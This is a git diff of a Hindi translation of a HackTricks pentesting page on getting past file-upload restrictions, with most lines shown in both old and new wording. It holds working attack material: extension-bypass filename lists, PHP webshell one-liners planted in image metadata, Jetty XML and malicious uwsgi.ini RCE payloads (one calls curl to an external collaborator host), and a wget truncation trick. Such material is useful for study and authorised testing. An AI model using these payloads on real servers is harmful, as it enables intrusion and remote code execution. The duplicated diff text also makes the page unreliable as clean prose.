* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **हैकिंग ट्रिक्स साझा करें** और **HackTricks** और **HackTricks Cloud** github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -35,11 +35,11 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
### फ़ाइल एक्सटेंशन की जांच को छलना
|
||||
|
||||
1. अगर वे लागू होते हैं, तो **पिछली एक्सटेंशन** की **जांच** करें। उन्हें कुछ **अपरकेस अक्षरों** का उपयोग करके भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _एक्सीक्यूशन एक्सटेंशन से पहले एक वैध एक्सटेंशन जोड़ने की जांच करें (पिछली एक्सटेंशन भी उपयोग करें):_
|
||||
1. अगर वे लागू होते हैं, तो **पिछली एक्सटेंशन** की **जांच** करें। उन्हें कुछ **ऊपरी अक्षरों** का उपयोग करके भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _एक्सीक्यूशन एक्सटेंशन के पहले **एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछली एक्सटेंशन भी उपयोग करें):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. **अंत में विशेष वर्ण जोड़ने की कोशिश करें।** आप बर्प का उपयोग करके सभी **एस्की** और **यूनिकोड** वर्णों को **ब्रूटफ़ोर्स** कर सकते हैं। (_ध्यान दें कि आप पिछले एक्सटेंशन्स का भी प्रयोग कर सकते हैं_)
|
||||
3. **अंत में विशेष वर्ण जोड़ने की कोशिश करें।** आप बर्प का उपयोग करके सभी **एस्की** और **यूनिकोड** वर्णों को **ब्रूटफ़ोर्स** कर सकते हैं। (_ध्यान दें कि आप **पिछली** उल्लिखित **एक्सटेंशन** का भी उपयोग कर सकते हैं_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -49,7 +49,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. सर्वर-साइड के **एक्सटेंशन पार्सर को धोखा देने की कोशिश करें** और **एक्सटेंशन को डबल** करने या एक्सटेंशन के बीच **जंक** डेटा (**नल** बाइट्स) जोड़ने जैसी तकनीकों का उपयोग करें। _आप एक बेहतर payload तैयार करने के लिए **पिछले एक्सटेंशन्स** का भी उपयोग कर सकते हैं_
|
||||
4. सर्वर-साइड के **एक्सटेंशन पार्सर को धोखा देने की कोशिश करें** और **एक्सटेंशन** को **डबल** करने या **जंक** डेटा (**नल** बाइट्स) जोड़ने जैसी तकनीकों से (_आप बेहतर पेलोड तैयार करने के लिए **पिछली एक्सटेंशन** का भी उपयोग कर सकते हैं_)
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -61,16 +61,16 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
5. पिछली जांच में **एक और परत एक्सटेंशन जोड़ें**:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. **वैध एक्सटेंशन से पहले एक्सेक्यूशन एक्सटेंशन डालने की कोशिश करें** और यहाँ तक कि सर्वर गलती से कॉन्फ़िगर हो जाए। (जहां एक्सटेंशन के साथ कुछ भी हो सकता है, लेकिन अनिवार्य रूप से .php से समाप्त नहीं होना चाहिए):
|
||||
6. **मान्य एक्सटेंशन के पहले एक्सेक्यूशन एक्सटेंशन डालने की कोशिश करें** और यहाँ तक कि सर्वर गलत रूप से कॉन्फ़िगर हो जाए। (जहां एक्सटेंशन के साथ कुछ भी हो सकता है, लेकिन .php से समाप्त नहीं होना चाहिए):
|
||||
* _उदाहरण: file.php.png_
|
||||
7. **Windows** में **NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन से पहले एक आवश्यक विचारशील चरित्र “:” डाला जाएगा। इसका परिणाम है, सर्वर पर एक **खाली फ़ाइल निषिद्ध एक्सटेंशन** के साथ बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में संपादित किया जा सकता है अन्य तकनीकों का उपयोग करके जैसे कि इसका छोटा फ़ाइल नाम उपयोग करना। “**::$data**” पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना भी और प्रतिबंधों को छलने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने की कोशिश करें। वैध एक्सटेंशन काट जाता है। और दुर्भाग्यपूर्ण PHP छोड़ जाता है। AAA<--SNIP-->AAA.php
|
||||
7. **Windows** में **NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन के पहले एक आवश्यक विचारशील चरित्र “:” डाला जाएगा। इसका परिणाम स्वरूप, सर्वर पर एक **खाली फ़ाइल निषिद्ध एक्सटेंशन के साथ** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में संपादित किया जा सकता है जैसे कि इसका छोटा नाम उपयोग करके। “**::$data**” पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना भी और प्रतिबंधों को छलने के लिए उपयोगी हो सकता है। (.e.g. “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने की कोशिश करें। मान्य एक्सटेंशन काट जाता है। और दुर्भाग्यपूर्ण PHP छोड़ जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# लिनक्स में अधिकतम 255 बाइट
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 कम करें और .png जोड़ें
|
||||
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि वह कितने वर्णों को अनुमति देता है। मान लें 236
|
||||
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि कितने वर्णों को अनुमति दी गई है। चलो कहें 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# पेलोड बनाएं
|
||||
|
@ -80,50 +80,52 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* **Content-Type** जांच को बाईपास करें जोकि **Content-Type** **हेडर** के **मान** को इस प्रकार सेट करके करें: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **वर्डलिस्ट**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* **मैजिक नंबर** जांच को बाईपास करें एक असली छवि के **बाइट्स** (फ़ाइल कमांड को गलतफहमी करने के लिए) को फ़ाइल के शुरुआत में जोड़कर। या शैल में शैल को **मेटाडेटा** में प्रस्तुत करें:\
|
||||
* **मैजिक नंबर** जांच को बाईपास करें जिसमें फ़ाइल के शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़ें ( _फ़ाइल_ कमांड को गलतफहमी में डालें)। या **मेटाडेटा** में शैल डालें:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप एक छवि में **पेलोड सीधे** प्रस्तुत कर सकते हैं:\
|
||||
या आप **छवि में पेलोड सीधे डाल सकते** हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* यदि आपकी छवि में **संपीड़न जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके [PHP-GD](https://www.php.net/manual/fr/book.image.php), पिछली तकनीक काम नहीं आएगी। हालांकि, आप **PLTE चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं जिसमें कुछ पाठ प्रवेश करेंगे जो **संपीड़न को बचाएगा**।
|
||||
* यदि आपकी छवि में **संपीड़न जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके [PHP-GD](https://www.php.net/manual/fr/book.image.php), पिछली तकनीक काम नहीं आएगी। हालांकि, आप **PLTE चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ डाल सकते हैं जो **संपीड़न में बना रहेगा**।
|
||||
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* वेब पृष्ठ भी **छवि का आकार बदल सकता है**, उदाहरण के लिए PHP-GD फ़ंक्शन `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालांकि, आप **IDAT चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं जिसमें कुछ पाठ प्रवेश करेंगे जो **संपीड़न को बचाएगा**।
|
||||
* वेब पृष्ठ भी **छवि का आकार बदल सकता** है, उदाहरण के लिए PHP-GD फ़ंक्शन `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालांकि, आप **IDAT चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ डाल सकते हैं जो **संपीड़न में बना रहेगा**।
|
||||
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* एक तकनीक एक पेलोड बनाने के लिए जो **छवि के आकार को बचाता है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालांकि, आप **tEXt चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं जिसमें कुछ पाठ प्रवेश करेंगे जो **संपीड़न को बचाएगा**।
|
||||
* एक तकनीक एक पेलोड बनाने के लिए जो **छवि के आकार को बचाता है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग कर सकते हैं। हालांकि, आप **tEXt चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ डाल सकते हैं जो **संपीड़न में बना रहेगा**।
|
||||
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### अन्य चालाकियाँ जांचने के लिए
|
||||
|
||||
* फ़ाइल को **पहले से अपलोड किए गए नाम को बदलने** के लिए एक संरक्षितता दोष खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
* एक **स्थानीय फ़ाइल समावेशन** दोष खोजें जिससे बैकडोर को निष्पादित किया जा सके।
|
||||
* **संभावित जानकारी लीक**:
|
||||
1. **कई बार** (और **एक साथ**) **एक ही नाम** की **एक ही फ़ाइल** को अपलोड करें
|
||||
2. एक फ़ाइल को **उसी नाम** के साथ अपलोड करें जो **पहले से मौजूद** है
|
||||
3. एक फ़ाइल को उसके नाम के रूप में **“.”, “..”, या “…”** अपलोड करें। उदाहरण के लिए, एक अपाचे में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजती है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. **NTFS** में जैसे कि **“…:.jpg”** जैसी एक फ़ाइल जो आसानी से हटाई नहीं जा सकती। (Windows)
|
||||
5. अपने नाम में **अमान्य वर्ण** जैसे `|<>*?”` के साथ **Windows** में एक फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **निषिद्ध** (**मना किए गए**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 का उपयोग करके एक फ़ाइल अपलोड करें।
|
||||
* एक **.exe** या एक **.html** (कम संदेहजनक) अपलोड करने का प्रयास करें जो यदि दुर्भाग्यपूर्ण रूप से पीड़ित द्वारा खोला जाता है, तो कोड **निष्पादित करेगा**।
|
||||
* फ़ाइल का **नाम बदलने** के लिए एक सुरक्षा दोष खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
* एक **स्थानीय फ़ाइल समावेशन** दोष खोजें ताकि बैकडोर को चलाया जा सके।
|
||||
* **संभावित सूचना फुटने**:
|
||||
1. **कई बार** (और **एक साथ**) **एक ही नाम** वाली **एक ही फ़ाइल** अपलोड करें
|
||||
2. एक फ़ाइल को उसी **नाम** के साथ अपलोड करें जो **पहले से मौजूद है**
|
||||
3. एक फ़ाइल को उसके नाम के रूप में **“.”, “..”, या “…”** अपलोड करें। उदाहरण के लिए, एक फ़ाइल अपलोड करें जिसका नाम “/www/uploads/” निर्देशिका में अपलोड करेगा, तो “.” फ़ाइलनाम “/www/” निर्देशिका में एक फ़ाइल बनाएगा।
|
||||
4. **NTFS** में जैसे **“…:.jpg”** जैसी फ़ाइल जो आसानी से हटाई नहीं जा सकती। (Windows)
|
||||
5. अपने नाम में **अमान्य वर्ण** जैसे `|<>*?”` शामिल करके **Windows** में एक फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **निषिद्ध** (**मना किया गया**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 का उपयोग करके एक फ़ाइल अपलोड करें।
|
||||
* एक **.exe** या एक **.html** (कम संदेहजनक) अपलोड करने का प्रयास करें जो यदि उपयोगकर्ता द्वारा अनजाने में खोल दिया जाता है, तो कोड **चला जाएगा**।
|
||||
|
||||
### विशेष एक्सटेंशन चालाकियाँ
|
||||
|
||||
यदि आप फ़ाइलें एक **PHP सर्वर** पर अपलोड करने का प्रयास कर रहे हैं, [कोड निष्पादन के लिए **.htaccess** चालाकी को देखें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
|
||||
यदि आप फ़ाइलें एक **ASP सर्वर** पर अपलोड करने का प्रयास कर रहे हैं, [कोड निष्पादन के लिए **.config** चालाकी को देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
|
||||
यदि आप फ़ाइलें **PHP सर्वर** पर अपलोड करने का प्रयास कर रहे हैं, [**.htaccess** चालाकी को कोड चलाने के लिए देखें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
|
||||
यदि आप फ़ाइलें **ASP सर्वर** पर अपलोड करने का प्रयास कर रहे हैं, [**.config** चालाकी को कोड चलाने के लिए देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
|
||||
|
||||
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह हैं, लेकिन PHP के लिए हैं, और एक **PHP फ़ाइल की तरह उपयोग की जा सकती हैं** (इसे PHP के साथ निष्पादित करके या एक स्क्रिप्ट के भीतर समाहित करके...)
|
||||
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह हैं, लेकिन PHP के लिए हैं, और इसे **एक PHP फ़ाइल की तरह उपयोग किया जा सकता** है (PHP के साथ इसे चलाकर, या इसे एक स्क्रिप्ट के भीतर शामिल करके...)
|
||||
|
||||
`.inc` एक्सटेंशन कभी-कभी उन PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए हैं, इसलिए, किसी समय, किसी को इस एक्सटेंशन को **निष्पादित करने की अनुमति** हो सकती है।
|
||||
`.inc` एक्सटेंशन कभी-कभी उन PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए हैं, इसलिए, किसी समय, किसी ने **इस एक्सटेंशन को कोड चलाने की अनुमति** दी हो सकती है।
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
यदि आप एक XML फ़ाइल को जेटी सर्वर में अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से प्रसंस्कृत होते हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** तो, जैसा कि निम्नलिखित छवि में उल्लिखित है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शैल की उम्मीद करें!
|
||||
यदि आप एक XML फ़ाइल को जेटी सर्वर में अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से प्रसंस्कृत** होते हैं](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** तो, जैसा कि निम्नलिखित छवि में उल्लिखित है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शैल की उम्मीद रखें!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
इस विकल्प की विस्तृत अन्वेषण के लिए मूल शोध की जांच करें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)।
|
||||
इस दोष के विस्तृत अन्वेषण के लिए मूल अनुसंधान की जांच करें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)।
|
||||
|
||||
दूरस्थ कमांड निष्पादन (RCE) दोष uWSGI सर्वरों में उत्पन्न किए जा सकते हैं यदि किसी को `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादू" चर और ऑपरेटर्स को शामिल करने के लिए एक विशेष संयंत्र का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, `@(filename)` के रूप में उपयुक्त, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से प्रभावी है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देता है। यह सुविधा दुर्भाग्यपूर्ण उद्देश्यों के लिए प्रयोग किया जा सकता है जैसे कि दूरस्थ कमांड निष्पादन या अर्बिट्रेरी फ़ाइल राइट/रीड जब एक `.
|
||||
यदि किसी को uWSGI सर्वरों में रिमोट कमांड एक्झीक्यूशन (RCE) दोषों का उपयोग करने की क्षमता है तो वह `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता होनी चाहिए। uWSGI कॉन्फ़िगरेशन फ़ाइलें "मैजिक" चर और ऑपरेटर्स को शामिल करने के लिए विशेष विधि का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, `@(filename)` के रूप में उपयोग किया जाता है, एक फ़ाइल की सामग्री शामिल करने के लिए। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से प्रभावी है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देता है। यह सुविधा दुरुपयोग के लिए परिणामी रूप से उपयोग की जा सकती है जैसे कि रिमोट कमांड एक्झीक्यूशन या अर्बिट्रेरी फ़ाइल राइट/रीड जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल प्रसंस्कृत की जाती है।
|
||||
|
||||
निम्नलिखित हानिकारक `uwsgi.ini` फ़ाइल का एक उदाहरण विचारशीलता करत
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -141,14 +143,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
दस्तावेज का प्रदर्शन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय करने और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः आरंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।
|
||||
दस्तावेज के पार्श्वीकरण के दौरान पेलोड का क्रियान्वयन होता है। पेलोड को सक्रिय करने और पार्श्वीकरण करने के लिए, uWSGI प्रक्रिया को या तो पुनः आरंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड करना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।
|
||||
|
||||
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ढीली स्वभाव को समझना महत्वपूर्ण है। विशेष रूप से, चर्चित पेलोड एक बाइनरी फ़ाइल में (जैसे एक छवि या पीडीएफ) डाला जा सकता है, जिससे संभावित शोषण के दायरे को और भी व्यापक बनाया जा सकता है।
|
||||
uWSGI के कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ढीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चित पेलोड को एक बाइनरी फ़ाइल में डाला जा सकता है (जैसे एक छवि या पीडीएफ), जो संभावित शोषण के दायरे को और भी व्यापक बनाता है।
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ मौकों पर आपको यह देखने को मिल सकता है कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड** करने के लिए कर रहा है और आप **URL** को **सूचित** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकटाइप व्हाइटलिस्ट में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, **यह जांच को छल सकता है।**\
|
||||
**लिनक्स** में एक **फ़ाइलनाम** की **अधिकतम** लंबाई **255** है, हालांकि, **wget** फ़ाइलनाम को **236** वर्णों में काट देता है। आप **"A"\*232+".php"+".gif"** नामक एक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइलनाम **जांच** को **छलाएगा** (जैसे इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **नामांकित** कर देगा।
|
||||
कुछ मौकों पर आपको यह मिल सकता है कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड** करने के लिए कर रहा है और आप **URL** को **सूचित** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकशन व्हाइटलिस्ट में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, **इस जांच को छल सकता है।**\
|
||||
**लिनक्स** में एक **फ़ाइल का नाम** की **अधिकतम** लंबाई **255** है, हालांकि, **wget** फ़ाइल के नामों को **236** वर्णों में काट देता है। आप **"A"\*232+".php"+".gif"** नाम की एक फ़ाइल डाउनलोड कर सकते हैं, यह नाम जांच को **छलाएगा** (जैसे इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** कर देगा।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -171,33 +173,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
नोट करें कि **इस जांच को छलकरने** के लिए आपके मन में एक **और विकल्प** हो सकता है कि **HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करें**, तो प्रारंभिक URL इस जांच को छलकरेगा और फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग किया जा रहा हो क्योंकि **wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा**।
|
||||
